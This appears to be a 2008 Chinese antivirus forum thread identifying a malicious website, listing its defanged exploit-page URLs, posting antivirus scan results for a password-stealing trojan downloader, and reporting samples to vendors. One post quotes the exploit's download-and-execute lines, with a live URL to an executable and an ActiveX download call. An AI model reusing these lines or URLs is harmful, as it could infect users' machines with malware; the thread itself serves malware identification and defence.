毒网

显示全部楼层 · 发表于 2008-1-21 14:00:22

www.xcmoyu.com.cn

显示全部楼层 · 发表于 2008-1-21 14:09:03

hxxp://www.moyusfw.com/mm/Ms06014.htm
hxxp://www.moyusfw.com/mm/Real.js
hxxp://www.moyusfw.com/mm/QVod.html
hxxp://www.moyusfw.com/mm/Ms07004.html
hxxp://www.moyusfw.com/mm/ienorun.htm
hxxp://www.moyusfw.com/mm/xunlei.htm
hxxp://www.moyusfw.com/mm/07033.htm
hxxp://www.moyusfw.com/mm/cx.htm
hxxp://www.moyusfw.com/mm/baidu.htm
hxxp://www.moyusfw.com/mm/Ajax.gif
hxxp://www.moyusfw.com/mm/Bfyy.gif
hxxp://www.moyusfw.com/mm/Pps.gif
hxxp://www.moyusfw.com/mm/XunLei.gif
hxxp://www.moyusfw.com/mm/Lz.gif

显示全部楼层 · 发表于 2008-1-21 14:16:57

IK
I:\VS\VIRUS\drive\D\WINDOWS\MicroSoft.pif - Signature 'Generic.PWS.Games.2' found
I:\VS\VIRUS\drive\I\Temp\MicroSofts.pif - Signature 'Generic.PWS.Games.2' found
I:\VS\VIRUS\drive\I\Temporary Internet Files\Content.IE5\X3R4EWD7\fy[1].exe - Signature 'Generic.PWS.Games.2' found
      108 Files scanned
      (0 Archives with 0 files)
      3 Signatures found
      0 Suspect code-parts found
      Used time: 0:00.594

-------------------------------------------------------------------------------
CAV
I:\VS\VIRUS\drive/I/Temporary Internet Files/Content.IE5/MXVNN9I7/xcmoyu.com[1].htm: Exploit.IFrame.Gen-1 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 192974
Engine version: 0.92
Scanned directories: 15
Scanned files: 107
Infected files: 1
Data scanned: 1.39 MB
Time: 7.671 sec (0 m 7 s)
-------------------------------------------------------------------------------
DR.WEB
MicroSoft.pif  I:\VS\VIRUS\drive\D\WINDOWS;可能 DLOADER.Trojan;;
MicroSofts.pif I:\VS\VIRUS\drive\I\Temp;可能 DLOADER.Trojan;;
fy[1].exe    I:\VS\VIRUS\drive\I\Temporary Internet Files\Content.IE5\X3R4EWD7;可能 DLOADER.Trojan;;

[ 本帖最后由冷_冷于 2008-1-21 21:16 编辑 ]

显示全部楼层 · 发表于 2008-1-21 14:20:08

有几个老的

显示全部楼层 · 发表于 2008-1-21 15:12:47

Starting the file scan:

Begin scan in 'E:\SAMPLE.rar'
E:\SAMPLE.rar
  [0] Archive type: RAR
  --> fy[1].exe
   [DETECTION] Contains suspicious code HEUR/Crypted
   [WARNING] The file was ignored!

上报~

显示全部楼层 · 发表于 2008-1-21 15:18:22

2008-1-21 15:23:00 Kernel File 'E:\virus\SAMPLE\xcmoyu.com[1].htm' was sent to ESET for analysis.
2008-1-21 15:21:03 Kernel File 'E:\virus\SAMPLE\fy[1].exe' was sent to ESET for analysis.

显示全部楼层 · 发表于 2008-1-21 16:10:48

莫非修复了?
我的红伞冲进去一声都没叫

用的是W版

显示全部楼层 · 发表于 2008-1-21 16:11:11

detected: virus Heur.Trojan.Generic (modification) File: C:\Documents and Settings\Owner\×ÀÃæ\SAMPLE1.rar/fy[1].exe

显示全部楼层 · 发表于 2008-1-21 16:22:39

进去之后也没有下下来木马病毒啊

显示全部楼层 · 发表于 2008-1-21 16:42:42

Cuteqq='http://www.moyusfw.com/mm/fy.exe';

obj.DloadDS("http://www.moyusfw.com/mm/fy.cab","fy.exe",0);

微点砍

[已鉴定] 毒网

回复 3楼冷_冷的帖子

[已鉴定] 毒网

回复 3楼 冷_冷 的帖子

回复 3楼冷_冷的帖子